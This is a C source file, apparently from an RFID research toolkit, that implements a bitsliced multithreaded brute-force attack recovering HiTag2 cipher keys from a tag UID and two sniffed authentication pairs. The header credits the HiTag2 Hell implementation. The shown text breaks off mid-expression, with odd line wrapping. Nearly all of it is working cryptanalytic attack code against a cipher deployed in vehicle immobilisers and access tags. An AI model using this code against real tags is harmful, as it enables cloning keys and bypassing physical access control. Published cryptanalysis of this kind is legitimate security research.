3 * This code is heavily based on the HiTag2 Hell CPU implementation
4 * from https://github.com/factoritbv/hitag2hell by FactorIT B.V.,
5 * with the following changes:
6 * * Main takes a UID and 2 {nR},{aR} pairs as arguments
7 * and searches for states producing the first aR sample,
8 * reconstructs the corresponding key candidates
9 * and tests them against the second nR,aR pair;
10 * * Reuses the Hitag helping functions of the other attacks.
21 #include "ht2crackutils.h"
23 const uint8_t bits
[9] = {20, 14, 4, 3, 1, 1, 1, 1, 1};
24 #define lfsr_inv(state) (((state)<<1) | (__builtin_parityll((state) & ((0xce0044c101cd>>1)|(1ull<<(47))))))
25 #define i4(x,a,b,c,d) ((uint32_t)((((x)>>(a))&1)<<3)|(((x)>>(b))&1)<<2|(((x)>>(c))&1)<<1|(((x)>>(d))&1))
26 #define f(state) ((0xdd3929b >> ( (((0x3c65 >> i4(state, 2, 3, 5, 6) ) & 1) <<4) \
27 | ((( 0xee5 >> i4(state, 8,12,14,15) ) & 1) <<3) \
28 | ((( 0xee5 >> i4(state,17,21,23,26) ) & 1) <<2) \
29 | ((( 0xee5 >> i4(state,28,29,31,33) ) & 1) <<1) \
30 | (((0x3c65 >> i4(state,34,43,44,46) ) & 1) ))) & 1)
32 #define MAX_BITSLICES 256
33 #define VECTOR_SIZE (MAX_BITSLICES/8)
35 typedef unsigned int __attribute__((aligned(VECTOR_SIZE
))) __attribute__((vector_size(VECTOR_SIZE
))) bitslice_value_t
;
37 bitslice_value_t value
;
38 uint64_t bytes64
[MAX_BITSLICES
/ 64];
39 uint8_t bytes
[MAX_BITSLICES
/ 8];
42 // we never actually set or use the lowest 2 bits the initial state, so we can save 2 bitslices everywhere
43 __thread bitslice_t state
[-2 + 32 + 48];
45 bitslice_t keystream
[32];
46 bitslice_t bs_zeroes
, bs_ones
;
48 #define f_a_bs(a,b,c,d) (~(((a|b)&c)^(a|d)^b)) // 6 ops
49 #define f_b_bs(a,b,c,d) (~(((d|c)&(a^b))^(d|a|b))) // 7 ops
50 #define f_c_bs(a,b,c,d,e) (~((((((c^e)|d)&a)^b)&(c^b))^(((d^e)|a)&((d^b)|c)))) // 13 ops
51 #define lfsr_bs(i) (state[-2+i+ 0].value ^ state[-2+i+ 2].value ^ state[-2+i+ 3].value ^ state[-2+i+ 6].value ^ \
52 state[-2+i+ 7].value ^ state[-2+i+ 8].value ^ state[-2+i+16].value ^ state[-2+i+22].value ^ \
53 state[-2+i+23].value ^ state[-2+i+26].value ^ state[-2+i+30].value ^ state[-2+i+41].value ^ \
54 state[-2+i+42].value ^ state[-2+i+43].value ^ state[-2+i+46].value ^ state[-2+i+47].value);
55 #define get_bit(n, word) ((word >> (n)) & 1)
56 #define get_vector_bit(slice, value) get_bit(slice&0x3f, value.bytes64[slice>>6])
58 static uint64_t expand(uint64_t mask
, uint64_t value
) {
60 for (uint64_t bit_index
= 0; bit_index
< 48; bit_index
++) {
62 fill
|= (value
& 1) << bit_index
;
70 static void bitslice(const uint64_t value
, bitslice_t
*restrict bitsliced_value
, const size_t bit_len
, bool reverse
) {
72 for (bit_idx
= 0; bit_idx
< bit_len
; bit_idx
++) {
75 bit
= get_bit(bit_len
- 1 - bit_idx
, value
);
77 bit
= get_bit(bit_idx
, value
);
80 bitsliced_value
[bit_idx
].value
= bs_ones
.value
;
82 bitsliced_value
[bit_idx
].value
= bs_zeroes
.value
;
87 static uint64_t unbitslice(const bitslice_t
*restrict b
, const uint8_t s
, const uint8_t n
) {
89 for (uint8_t i
= 0; i
< n
; ++i
) {
91 result
|= get_vector_bit(s
, b
[n
- 1 - i
]);
97 // determine number of logical CPU cores (use for multithreaded functions)
98 static int num_CPUs(void) {
100 #include <sysinfoapi.h>
102 GetSystemInfo(&sysinfo
);
103 return sysinfo
.dwNumberOfProcessors
;
106 int count
= sysconf(_SC_NPROCESSORS_ONLN
);
114 uint32_t uid
, nR1
, aR1
, nR2
, aR2
;
116 uint64_t candidates
[(1 << 20)];
117 bitslice_t initial_bitslices
[48];
118 size_t filter_pos
[20] = {4, 7, 9, 13, 16, 18, 22, 24, 27, 30, 32, 35, 45, 47 };
119 size_t thread_count
= 8;
120 uint64_t layer_0_found
;
121 static void *find_state(void *thread_d
);
122 static void try_state(uint64_t s
);
124 int main(int argc
, char *argv
[]) {
127 printf("%s UID {nR1} {aR1} {nR2} {aR2}\n", argv
[0]);
132 memset(bs_ones
.bytes
, 0xff, VECTOR_SIZE
);
133 memset(bs_zeroes
.bytes
, 0x00, VECTOR_SIZE
);
137 thread_count
= num_CPUs();
139 if (!strncmp(argv
[1], "0x", 2) || !strncmp(argv
[1], "0X", 2)) {
140 uid
= rev32(hexreversetoulong(argv
[1] + 2));
142 uid
= rev32(hexreversetoulong(argv
[1]));
145 if (!strncmp(argv
[2], "0x", 2) || !strncmp(argv
[2], "0X", 2)) {
146 nR1
= rev32(hexreversetoulong(argv
[2] + 2));
148 nR1
= rev32(hexreversetoulong(argv
[2]));
151 aR1
= strtol(argv
[3], NULL
, 16);
153 if (!strncmp(argv
[4], "0x", 2) || !strncmp(argv
[4], "0X", 2)) {
154 nR2
= rev32(hexreversetoulong(argv
[4] + 2));
156 nR2
= rev32(hexreversetoulong(argv
[4]));
159 aR2
= strtol(argv
[5], NULL
, 16);
162 // bitslice inverse target bits
163 bitslice(~target
, keystream
, 32, true);
165 // bitslice all possible 256 values in the lowest 8 bits
166 memset(initial_bitslices
[0].bytes
, 0xaa, VECTOR_SIZE
);
167 memset(initial_bitslices
[1].bytes
, 0xcc, VECTOR_SIZE
);
168 memset(initial_bitslices
[2].bytes
, 0xf0, VECTOR_SIZE
);
170 for (size_t bit
= 3; bit
< 8; bit
++) {
171 for (size_t byte
= 0; byte
< VECTOR_SIZE
;) {
172 for (size_t length
= 0; length
< interval
; length
++) {
173 initial_bitslices
[bit
].bytes
[byte
++] = 0x00;
175 for (size_t length
= 0; length
< interval
; length
++) {
176 initial_bitslices
[bit
].bytes
[byte
++] = 0xff;
182 // compute layer 0 output
183 for (size_t i0
= 0; i0
< 1 << 20; i0
++) {
184 uint64_t state0
= expand(0x5806b4a2d16c, i0
);
186 if (f(state0
) == target
>> 31) {
187 candidates
[layer_0_found
++] = state0
;
191 // start threads and wait on them
192 pthread_t thread_handles
[thread_count
];
193 for (size_t thread
= 0; thread
< thread_count
; thread
++) {
194 pthread_create(&thread_handles
[thread
], NULL
, find_state
, (void *) thread
);
196 for (size_t thread
= 0; thread
< thread_count
; thread
++) {
197 pthread_join(thread_handles
[thread
], NULL
);
200 printf("Key not found\n");
204 static void *find_state(void *thread_d
) {
205 uint64_t thread
= (uint64_t)thread_d
;
207 for (uint64_t index
= thread
; index
< layer_0_found
; index
+= thread_count
) {
209 if (((index
/ thread_count
) & 0xFF) == 0)
210 printf("Thread %" PRIu64
" slice %" PRIu64
"/%" PRIu64
"\n", thread
, index
/ thread_count
/ 256 + 1, layer_0_found
/ thread_count
/ 256);
212 uint64_t state0
= candidates
[index
];
213 bitslice(state0
>> 2, &state
[0], 46, false);
215 for (size_t bit
= 0; bit
< 8; bit
++) {
216 state
[-2 + filter_pos
[bit
]] = initial_bitslices
[bit
];
219 for (uint16_t i1
= 0; i1
< (1 << (bits
[1] + 1) >> 8); i1
++) {
220 state
[-2 + 27].value
= ((bool)(i1
& 0x1)) ? bs_ones
.value
: bs_zeroes
.value
;
221 state
[-2 + 30].value
= ((bool)(i1
& 0x2)) ? bs_ones
.value
: bs_zeroes
.value
;
222 state
[-2 + 32].value
= ((bool)(i1
& 0x4)) ? bs_ones
.value
: bs_zeroes
.value
;
223 state
[-2 + 35].value
= ((bool)(i1
& 0x8)) ? bs_ones
.value
: bs_zeroes
.value
;
224 state
[-2 + 45].value
= ((bool)(i1
& 0x10)) ? bs_ones
.value
: bs_zeroes
.value
;
225 state
[-2 + 47].value
= ((bool)(i1
& 0x20)) ? bs_ones
.value
: bs_zeroes
.value
;
226 state
[-2 + 48].value
= ((bool)(i1
& 0x40)) ? bs_ones
.value
: bs_zeroes
.value
; // guess lfsr output 0
228 const bitslice_value_t filter1_0
= f_a_bs(state
[-2 + 3].value
, state
[-2 + 4].value
, state
[-2 + 6].value
, state
[-2 + 7].value
);
229 const bitslice_value_t filter1_1
= f_b_bs(state
[-2 + 9].value
, state
[-2 + 13].value
, state
[-2 + 15].value
, state
[-2 + 16].value
);
230 const bitslice_value_t filter1_2
= f_b_bs(state
[-2 + 18].value
, state
[-2 + 22].value
, state
[-2 + 24].value
, state
[-2 + 27].value
);
231 const bitslice_value_t filter1_3
= f_b_bs(state
[-2 + 29].value
, state
[-2 + 30].value
, state
[-2 + 32].value
, state
[-2 + 34].value
);
232 const bitslice_value_t filter1_4
= f_a_bs(state
[-2 + 35].value
, state
[-2 + 44].value
, state
[-2 + 45].value
, state
[-2 + 47].value
);
233 const bitslice_value_t filter1
= f_c_bs(filter1_0
, filter1_1
, filter1_2
, filter1_3
, filter1_4
);
235 results1
.value
= filter1
^ keystream
[1].value
;
237 if (results1
.bytes64
[0] == 0
238 && results1
.bytes64
[1] == 0
239 && results1
.bytes64
[2] == 0
240 && results1
.bytes64
[3] == 0
244 const bitslice_value_t filter2_0
= f_a_bs(state
[-2 + 4].value
, state
[-2 + 5].value
, state
[-2 + 7].value
, state
[-2 + 8].value
);
245 const bitslice_value_t filter2_3
= f_b_bs(state
[-2 + 30].value
, state
[-2 + 31].value
, state
[-2 + 33].value
, state
[-2 + 35].value
);
246 const bitslice_value_t filter3_0
= f_a_bs(state
[-2 + 5].value
, state
[-2 + 6].value
, state
[-2 + 8].value
, state
[-2 + 9].value
);
247 const bitslice_value_t filter5_2
= f_b_bs(state
[-2 + 22].value
, state
[-2 + 26].value
, state
[-2 + 28].value
, state
[-2 + 31].value
);
248 const bitslice_value_t filter6_2
= f_b_bs(state
[-2 + 23].value
, state
[-2 + 27].value
, state
[-2 + 29].value
, state
[-2 + 32].value
);
249 const bitslice_value_t filter7_2
= f_b_bs(state
[-2 + 24].value
, state
[-2 + 28].value
, state
[-2 + 30].value
, state
[-2 + 33].value
);
250 const bitslice_value_t filter9_1
= f_b_bs(state
[-2 + 17].value
, state
[-2 + 21].value
, state
[-2 + 23].value
, state
[-2 + 24].value
);
251 const bitslice_value_t filter9_2
= f_b_bs(state
[-2 + 26].value
, state
[-2 + 30].value
, state
[-2 + 32].value
, state
[-2 + 35].value
);
252 const bitslice_value_t filter10_0
= f_a_bs(state
[-2 + 12].value
, state
[-2 + 13].value
, state
[-2 + 15].value
, state
[-2 + 16].value
);
253 const bitslice_value_t filter11_0
= f_a_bs(state
[-2 + 13].value
, state
[-2 + 14].value
, state
[-2 + 16].value
, state
[-2 + 17].value
);
254 const bitslice_value_t filter12_0
= f_a_bs(state
[-2 + 14].value
, state
[-2 + 15].value
, state
[-2 + 17].value
, state
[-2 + 18].value
);
256 for (uint16_t i2
= 0; i2
< (1 << (bits
[2] + 1)); i2
++) {
257 state
[-2 + 10].value
= ((bool)(i2
& 0x1)) ? bs_ones
.value
: bs_zeroes
.value
;
258 state
[-2 + 19].value
= ((bool)(i2
& 0x2)) ? bs_ones
.value
: bs_zeroes
.value
;
259 state
[-2 + 25].value
= ((bool)(i2
& 0x4)) ? bs_ones
.value
: bs_zeroes
.value
;
260 state
[-2 + 36].value
= ((bool)(i2
& 0x8)) ? bs_ones
.value
: bs_zeroes
.value
;
261 state
[-2 + 49].value
= ((bool)(i2
& 0x10)) ? bs_ones
.value
: bs_zeroes
.value
; // guess lfsr output 1
263 const bitslice_value_t filter2_1
= f_b_bs(state
[-2 + 10].value
, state
[-2 + 14].value
, state
[-2 + 16].value
, state
[-2 + 17].value
);
264 const bitslice_value_t filter2_2
= f_b_bs(state
[-2 + 19].value
, state
[-2 + 23].value
, state
[-2 + 25].value
, state
[-2 + 28].value
);
265 const bitslice_value_t filter2_4
= f_a_bs(state
[-2 + 36].value
, state
[-2 + 45].value
, state
[-2 + 46].value
, state
[-2 + 48].value
);
266 const bitslice_value_t filter2
= f_c_bs(filter2_0
, filter2_1
, filter2_2
, filter2_3
, filter2_4
);
268 results2
.value
= results1
.value
& (filter2
^ keystream
[2].value
);
270 if (results2
.bytes64
[0] == 0
271 && results2
.bytes64
[1] == 0
272 && results2
.bytes64
[2] == 0
273 && results2
.bytes64
[3] == 0
277 state
[-2 + 50].value
= lfsr_bs(2);
278 const bitslice_value_t filter3_3
= f_b_bs(state
[-2 + 31].value
, state
[-2 + 32].value
, state
[-2 + 34].value
, state
[-2 + 36].value
);
279 const bitslice_value_t filter4_0
= f_a_bs(state
[-2 + 6].value
, state
[-2 + 7].value
, state
[-2 + 9].value
, state
[-2 + 10].value
);
280 const bitslice_value_t filter4_1
= f_b_bs(state
[-2 + 12].value
, state
[-2 + 16].value
, state
[-2 + 18].value
, state
[-2 + 19].value
);
281 const bitslice_value_t filter4_2
= f_b_bs(state
[-2 + 21].value
, state
[-2 + 25].value
, state
[-2 + 27].value
, state
[-2 + 30].value
);
282 const bitslice_value_t filter7_0
= f_a_bs(state
[-2 + 9].value
, state
[-2 + 10].value
, state
[-2 + 12].value
, state
[-2 + 13].value
);
283 const bitslice_value_t filter7_1
= f_b_bs(state
[-2 + 15].value
, state
[-2 + 19].value
, state
[-2 + 21].value
, state
[-2 + 22].value
);
284 const bitslice_value_t filter8_2
= f_b_bs(state
[-2 + 25].value
, state
[-2 + 29].value
, state
[-2 + 31].value
, state
[-2 + 34].value
);
285 const bitslice_value_t filter10_1
= f_b_bs(state
[-2 + 18].value
, state
[-2 + 22].value
, state
[-2 + 24].value
, state
[-2 + 25].value
);
286 const bitslice_value_t filter10_2
= f_b_bs(state
[-2 + 27].value
, state
[-2 + 31].value
, state
[-2 + 33].value
, state
[-2 + 36].value
);
287 const bitslice_value_t filter11_1
= f_b_bs(state
[-2 + 19].value
, state
[-2 + 23].value
, state
[-2 + 25].value
, state
[-2 + 26].value
);
289 for (uint8_t i3
= 0; i3
< (1 << bits
[3]); i3
++) {
290 state
[-2 + 11].value
= ((bool)(i3
& 0x1)) ? bs_ones
.value
: bs_zeroes
.value
;
291 state
[-2 + 20].value
= ((bool)(i3
& 0x2)) ? bs_ones
.value
: bs_zeroes
.value
;
292 state
[-2 + 37].value
= ((bool)(i3
& 0x4)) ? bs_ones
.value
: bs_zeroes
.value
;
294 const bitslice_value_t filter3_1
= f_b_bs(state
[-2 + 11].value
, state
[-2 + 15].value
, state
[-2 + 17].value
, state
[-2 + 18].value
);
295 const bitslice_value_t filter3_2
= f_b_bs(state
[-2 + 20].value
, state
[-2 + 24].value
, state
[-2 + 26].value
, state
[-2 + 29].value
);
296 const bitslice_value_t filter3_4
= f_a_bs(state
[-2 + 37].value
, state
[-2 + 46].value
, state
[-2 + 47].value
, state
[-2 + 49].value
);
297 const bitslice_value_t filter3
= f_c_bs(filter3_0
, filter3_1
, filter3_2
, filter3_3
, filter3_4
);
299 results3
.value
= results2
.value
& (filter3
^ keystream
[3].value
);
301 if (results3
.bytes64
[0] == 0
302 && results3
.bytes64
[1] == 0
303 && results3
.bytes64
[2] == 0
304 && results3
.bytes64
[3] == 0
309 state
[-2 + 51].value
= lfsr_bs(3);
310 state
[-2 + 52].value
= lfsr_bs(4);
311 state
[-2 + 53].value
= lfsr_bs(5);
312 state
[-2 + 54].value
= lfsr_bs(6);
313 state
[-2 + 55].value
= lfsr_bs(7);
314 const bitslice_value_t filter4_3
= f_b_bs(state
[-2 + 32].value
, state
[-2 + 33].value
, state
[-2 + 35].value
, state
[-2 + 37].value
);
315 const bitslice_value_t filter5_0
= f_a_bs(state
[-2 + 7].value
, state
[-2 + 8].value
, state
[-2 + 10].value
, state
[-2 + 11].value
);
316 const bitslice_value_t filter5_1
= f_b_bs(state
[-2 + 13].value
, state
[-2 + 17].value
, state
[-2 + 19].value
, state
[-2 + 20].value
);
317 const bitslice_value_t filter6_0
= f_a_bs(state
[-2 + 8].value
, state
[-2 + 9].value
, state
[-2 + 11].value
, state
[-2 + 12].value
);
318 const bitslice_value_t filter6_1
= f_b_bs(state
[-2 + 14].value
, state
[-2 + 18].value
, state
[-2 + 20].value
, state
[-2 + 21].value
);
319 const bitslice_value_t filter8_0
= f_a_bs(state
[-2 + 10].value
, state
[-2 + 11].value
, state
[-2 + 13].value
, state
[-2 + 14].value
);
320 const bitslice_value_t filter8_1
= f_b_bs(state
[-2 + 16].value
, state
[-2 + 20].value
, state
[-2 + 22].value
, state
[-2 + 23].value
);
321 const bitslice_value_t filter9_0
= f_a_bs(state
[-2 + 11].value
, state
[-2 + 12].value
, state
[-2 + 14].value
, state
[-2 + 15].value
);
322 const bitslice_value_t filter9_4
= f_a_bs(state
[-2 + 43].value
, state
[-2 + 52].value
, state
[-2 + 53].value
, state
[-2 + 55].value
);
323 const bitslice_value_t filter11_2
= f_b_bs(state
[-2 + 28].value
, state
[-2 + 32].value
, state
[-2 + 34].value
, state
[-2 + 37].value
);
324 const bitslice_value_t filter12_1
= f_b_bs(state
[-2 + 20].value
, state
[-2 + 24].value
, state
[-2 + 26].value
, state
[-2 + 27].value
);
326 for (uint8_t i4
= 0; i4
< (1 << bits
[4]); i4
++) {
327 state
[-2 + 38].value
= ((bool)(i4
& 0x1)) ? bs_ones
.value
: bs_zeroes
.value
;
329 const bitslice_value_t filter4_4
= f_a_bs(state
[-2 + 38].value
, state
[-2 + 47].value
, state
[-2 + 48].value
, state
[-2 + 50].value
);
330 const bitslice_value_t filter4
= f_c_bs(filter4_0
, filter4_1
, filter4_2
, filter4_3
, filter4_4
);
332 results4
.value
= results3
.value
& (filter4
^ keystream
[4].value
);
333 if (results4
.bytes64
[0] == 0
334 && results4
.bytes64
[1] == 0
335 && results4
.bytes64
[2] == 0
336 && results4
.bytes64
[3] == 0
341 state
[-2 + 56].value
= lfsr_bs(8);
342 const bitslice_value_t filter5_3
= f_b_bs(state
[-2 + 33].value
, state
[-2 + 34].value
, state
[-2 + 36].value
, state
[-2 + 38].value
);
343 const bitslice_value_t filter10_4
= f_a_bs(state
[-2 + 44].value
, state
[-2 + 53].value
, state
[-2 + 54].value
, state
[-2 + 56].value
);
344 const bitslice_value_t filter12_2
= f_b_bs(state
[-2 + 29].value
, state
[-2 + 33].value
, state
[-2 + 35].value
, state
[-2 + 38].value
);
346 for (uint8_t i5
= 0; i5
< (1 << bits
[5]); i5
++) {
347 state
[-2 + 39].value
= ((bool)(i5
& 0x1)) ? bs_ones
.value
: bs_zeroes
.value
;
349 const bitslice_value_t filter5_4
= f_a_bs(state
[-2 + 39].value
, state
[-2 + 48].value
, state
[-2 + 49].value
, state
[-2 + 51].value
);
350 const bitslice_value_t filter5
= f_c_bs(filter5_0
, filter5_1
, filter5_2
, filter5_3
, filter5_4
);
352 results5
.value
= results4
.value
& (filter5
^ keystream
[5].value
);
354 if (results5
.bytes64
[0] == 0
355 && results5
.bytes64
[1] == 0
356 && results5
.bytes64
[2] == 0
357 && results5
.bytes64
[3] == 0
362 state
[-2 + 57].value
= lfsr_bs(9);
363 const bitslice_value_t filter6_3
= f_b_bs(state
[-2 + 34].value
, state
[-2 + 35].value
, state
[-2 + 37].value
, state
[-2 + 39].value
);
364 const bitslice_value_t filter11_4
= f_a_bs(state
[-2 + 45].value
, state
[-2 + 54].value
, state
[-2 + 55].value
, state
[-2 + 57].value
);
365 for (uint8_t i6
= 0; i6
< (1 << bits
[6]); i6
++) {
366 state
[-2 + 40].value
= ((bool)(i6
& 0x1)) ? bs_ones
.value
: bs_zeroes
.value
;
368 const bitslice_value_t filter6_4
= f_a_bs(state
[-2 + 40].value
, state
[-2 + 49].value
, state
[-2 + 50].value
, state
[-2 + 52].value
);
369 const bitslice_value_t filter6
= f_c_bs(filter6_0
, filter6_1
, filter6_2
, filter6_3
, filter6_4
);
371 results6
.value
= results5
.value
& (filter6
^ keystream
[6].value
);
373 if (results6
.bytes64
[0] == 0
374 && results6
.bytes64
[1] == 0
375 && results6
.bytes64
[2] == 0
376 && results6
.bytes64
[3] == 0
381 state
[-2 + 58].value
= lfsr_bs(10);
382 const bitslice_value_t filter7_3
= f_b_bs(state
[-2 + 35].value
, state
[-2 + 36].value
, state
[-2 + 38].value
, state
[-2 + 40].value
);
383 const bitslice_value_t filter12_4
= f_a_bs(state
[-2 + 46].value
, state
[-2 + 55].value
, state
[-2 + 56].value
, state
[-2 + 58].value
);
384 for (uint8_t i7
= 0; i7
< (1 << bits
[7]); i7
++) {
385 state
[-2 + 41].value
= ((bool)(i7
& 0x1)) ? bs_ones
.value
: bs_zeroes
.value
;
387 const bitslice_value_t filter7_4
= f_a_bs(state
[-2 + 41].value
, state
[-2 + 50].value
, state
[-2 + 51].value
, state
[-2 + 53].value
);
388 const bitslice_value_t filter7
= f_c_bs(filter7_0
, filter7_1
, filter7_2
, filter7_3
, filter7_4
);
390 results7
.value
= results6
.value
& (filter7
^ keystream
[7].value
);
391 if (results7
.bytes64
[0] == 0
392 && results7
.bytes64
[1] == 0
393 && results7
.bytes64
[2] == 0
394 && results7
.bytes64
[3] == 0
399 state
[-2 + 59].value
= lfsr_bs(11);
400 const bitslice_value_t filter8_3
= f_b_bs(state
[-2 + 36].value
, state
[-2 + 37].value
, state
[-2 + 39].value
, state
[-2 + 41].value
);
401 const bitslice_value_t filter10_3
= f_b_bs(state
[-2 + 38].value
, state
[-2 + 39].value
, state
[-2 + 41].value
, state
[-2 + 43].value
);
402 const bitslice_value_t filter12_3
= f_b_bs(state
[-2 + 40].value
, state
[-2 + 41].value
, state
[-2 + 43].value
, state
[-2 + 45].value
);
403 for (uint8_t i8
= 0; i8
< (1 << bits
[8]); i8
++) {
404 state
[-2 + 42].value
= ((bool)(i8
& 0x1)) ? bs_ones
.value
: bs_zeroes
.value
;
406 const bitslice_value_t filter8_4
= f_a_bs(state
[-2 + 42].value
, state
[-2 + 51].value
, state
[-2 + 52].value
, state
[-2 + 54].value
);
407 const bitslice_value_t filter8
= f_c_bs(filter8_0
, filter8_1
, filter8_2
, filter8_3
, filter8_4
);
409 results8
.value
= results7
.value
& (filter8
^ keystream
[8].value
);
411 if (results8
.bytes64
[0] == 0
412 && results8
.bytes64
[1] == 0
413 && results8
.bytes64
[2] == 0
414 && results8
.bytes64
[3] == 0
419 const bitslice_value_t filter9_3
= f_b_bs(state
[-2 + 37].value
, state
[-2 + 38].value
, state
[-2 + 40].value
, state
[-2 + 42].value
);
420 const bitslice_value_t filter9
= f_c_bs(filter9_0
, filter9_1
, filter9_2
, filter9_3
, filter9_4
);
421 results8
.value
&= (filter9
^ keystream
[9].value
);
423 if (results8
.bytes64
[0] == 0
424 && results8
.bytes64
[1] == 0
425 && results8
.bytes64
[2] == 0
426 && results8
.bytes64
[3] == 0
431 const bitslice_value_t filter10
= f_c_bs(filter10_0
, filter10_1
, filter10_2
, filter10_3
, filter10_4
);
432 results8
.value
&= (filter10
^ keystream
[10].value
);
434 if (results8
.bytes64
[0] == 0
435 && results8
.bytes64
[1] == 0
436 && results8
.bytes64
[2] == 0
437 && results8
.bytes64
[3] == 0
442 const bitslice_value_t filter11_3
= f_b_bs(state
[-2 + 39].value
, state
[-2 + 40].value
, state
[-2 + 42].value
, state
[-2 + 44].value
);
443 const bitslice_value_t filter11
= f_c_bs(filter11_0
, filter11_1
, filter11_2
, filter11_3
, filter11_4
);
444 results8
.value
&= (filter11
^ keystream
[11].value
);
446 if (results8
.bytes64
[0] == 0
447 && results8
.bytes64
[1] == 0
448 && results8
.bytes64
[2] == 0
449 && results8
.bytes64
[3] == 0
454 const bitslice_value_t filter12
= f_c_bs(filter12_0
, filter12_1
, filter12_2
, filter12_3
, filter12_4
);
455 results8
.value
&= (filter12
^ keystream
[12].value
);
457 if (results8
.bytes64
[0] == 0
458 && results8
.bytes64
[1] == 0
459 && results8
.bytes64
[2] == 0
460 && results8
.bytes64
[3] == 0
465 const bitslice_value_t filter13_0
= f_a_bs(state
[-2 + 15].value
, state
[-2 + 16].value
, state
[-2 + 18].value
, state
[-2 + 19].value
);
466 const bitslice_value_t filter13_1
= f_b_bs(state
[-2 + 21].value
, state
[-2 + 25].value
, state
[-2 + 27].value
, state
[-2 + 28].value
);
467 const bitslice_value_t filter13_2
= f_b_bs(state
[-2 + 30].value
, state
[-2 + 34].value
, state
[-2 + 36].value
, state
[-2 + 39].value
);
468 const bitslice_value_t filter13_3
= f_b_bs(state
[-2 + 41].value
, state
[-2 + 42].value
, state
[-2 + 44].value
, state
[-2 + 46].value
);
469 const bitslice_value_t filter13_4
= f_a_bs(state
[-2 + 47].value
, state
[-2 + 56].value
, state
[-2 + 57].value
, state
[-2 + 59].value
);
470 const bitslice_value_t filter13
= f_c_bs(filter13_0
, filter13_1
, filter13_2
, filter13_3
, filter13_4
);
471 results8
.value
&= (filter13
^ keystream
[13].value
);
473 if (results8
.bytes64
[0] == 0
474 && results8
.bytes64
[1] == 0
475 && results8
.bytes64
[2] == 0
476 && results8
.bytes64
[3] == 0
481 state
[-2 + 60].value
= lfsr_bs(12);
482 const bitslice_value_t filter14_0
= f_a_bs(state
[-2 + 16].value
, state
[-2 + 17].value
, state
[-2 + 19].value
, state
[-2 + 20].value
);
483 const bitslice_value_t filter14_1
= f_b_bs(state
[-2 + 22].value
, state
[-2 + 26].value
, state
[-2 + 28].value
, state
[-2 + 29].value
);
484 const bitslice_value_t filter14_2
= f_b_bs(state
[-2 + 31].value
, state
[-2 + 35].value
, state
[-2 + 37].value
, state
[-2 + 40].value
);
485 const bitslice_value_t filter14_3
= f_b_bs(state
[-2 + 42].value
, state
[-2 + 43].value
, state
[-2 + 45].value
, state
[-2 + 47].value
);
486 const bitslice_value_t filter14_4
= f_a_bs(state
[-2 + 48].value
, state
[-2 + 57].value
, state
[-2 + 58].value
, state
[-2 + 60].value
);
487 const bitslice_value_t filter14
= f_c_bs(filter14_0
, filter14_1
, filter14_2
, filter14_3
, filter14_4
);
488 results8
.value
&= (filter14
^ keystream
[14].value
);
490 if (results8
.bytes64
[0] == 0
491 && results8
.bytes64
[1] == 0
492 && results8
.bytes64
[2] == 0
493 && results8
.bytes64
[3] == 0
498 state
[-2 + 61].value
= lfsr_bs(13);
499 const bitslice_value_t filter15_0
= f_a_bs(state
[-2 + 17].value
, state
[-2 + 18].value
, state
[-2 + 20].value
, state
[-2 + 21].value
);
500 const bitslice_value_t filter15_1
= f_b_bs(state
[-2 + 23].value
, state
[-2 + 27].value
, state
[-2 + 29].value
, state
[-2 + 30].value
);
501 const bitslice_value_t filter15_2
= f_b_bs(state
[-2 + 32].value
, state
[-2 + 36].value
, state
[-2 + 38].value
, state
[-2 + 41].value
);
502 const bitslice_value_t filter15_3
= f_b_bs(state
[-2 + 43].value
, state
[-2 + 44].value
, state
[-2 + 46].value
, state
[-2 + 48].value
);
503 const bitslice_value_t filter15_4
= f_a_bs(state
[-2 + 49].value
, state
[-2 + 58].value
, state
[-2 + 59].value
, state
[-2 + 61].value
);
504 const bitslice_value_t filter15
= f_c_bs(filter15_0
, filter15_1
, filter15_2
, filter15_3
, filter15_4
);
505 results8
.value
&= (filter15
^ keystream
[15].value
);
507 if (results8
.bytes64
[0] == 0
508 && results8
.bytes64
[1] == 0
509 && results8
.bytes64
[2] == 0
510 && results8
.bytes64
[3] == 0
515 state
[-2 + 62].value
= lfsr_bs(14);
516 const bitslice_value_t filter16_0
= f_a_bs(state
[-2 + 18].value
, state
[-2 + 19].value
, state
[-2 + 21].value
, state
[-2 + 22].value
);
517 const bitslice_value_t filter16_1
= f_b_bs(state
[-2 + 24].value
, state
[-2 + 28].value
, state
[-2 + 30].value
, state
[-2 + 31].value
);
518 const bitslice_value_t filter16_2
= f_b_bs(state
[-2 + 33].value
, state
[-2 + 37].value
, state
[-2 + 39].value
, state
[-2 + 42].value
);
519 const bitslice_value_t filter16_3
= f_b_bs(state
[-2 + 44].value
, state
[-2 + 45].value
, state
[-2 + 47].value
, state
[-2 + 49].value
);
520 const bitslice_value_t filter16_4
= f_a_bs(state
[-2 + 50].value
, state
[-2 + 59].value
, state
[-2 + 60].value
, state
[-2 + 62].value
);
521 const bitslice_value_t filter16
= f_c_bs(filter16_0
, filter16_1
, filter16_2
, filter16_3
, filter16_4
);
522 results8
.value
&= (filter16
^ keystream
[16].value
);
524 if (results8
.bytes64
[0] == 0
525 && results8
.bytes64
[1] == 0
526 && results8
.bytes64
[2] == 0
527 && results8
.bytes64
[3] == 0
532 state
[-2 + 63].value
= lfsr_bs(15);
533 const bitslice_value_t filter17_0
= f_a_bs(state
[-2 + 19].value
, state
[-2 + 20].value
, state
[-2 + 22].value
, state
[-2 + 23].value
);
534 const bitslice_value_t filter17_1
= f_b_bs(state
[-2 + 25].value
, state
[-2 + 29].value
, state
[-2 + 31].value
, state
[-2 + 32].value
);
535 const bitslice_value_t filter17_2
= f_b_bs(state
[-2 + 34].value
, state
[-2 + 38].value
, state
[-2 + 40].value
, state
[-2 + 43].value
);
536 const bitslice_value_t filter17_3
= f_b_bs(state
[-2 + 45].value
, state
[-2 + 46].value
, state
[-2 + 48].value
, state
[-2 + 50].value
);
537 const bitslice_value_t filter17_4
= f_a_bs(state
[-2 + 51].value
, state
[-2 + 60].value
, state
[-2 + 61].value
, state
[-2 + 63].value
);
538 const bitslice_value_t filter17
= f_c_bs(filter17_0
, filter17_1
, filter17_2
, filter17_3
, filter17_4
);
539 results8
.value
&= (filter17
^ keystream
[17].value
);
541 if (results8
.bytes64
[0] == 0
542 && results8
.bytes64
[1] == 0
543 && results8
.bytes64
[2] == 0
544 && results8
.bytes64
[3] == 0
549 state
[-2 + 64].value
= lfsr_bs(16);
550 const bitslice_value_t filter18_0
= f_a_bs(state
[-2 + 20].value
, state
[-2 + 21].value
, state
[-2 + 23].value
, state
[-2 + 24].value
);
551 const bitslice_value_t filter18_1
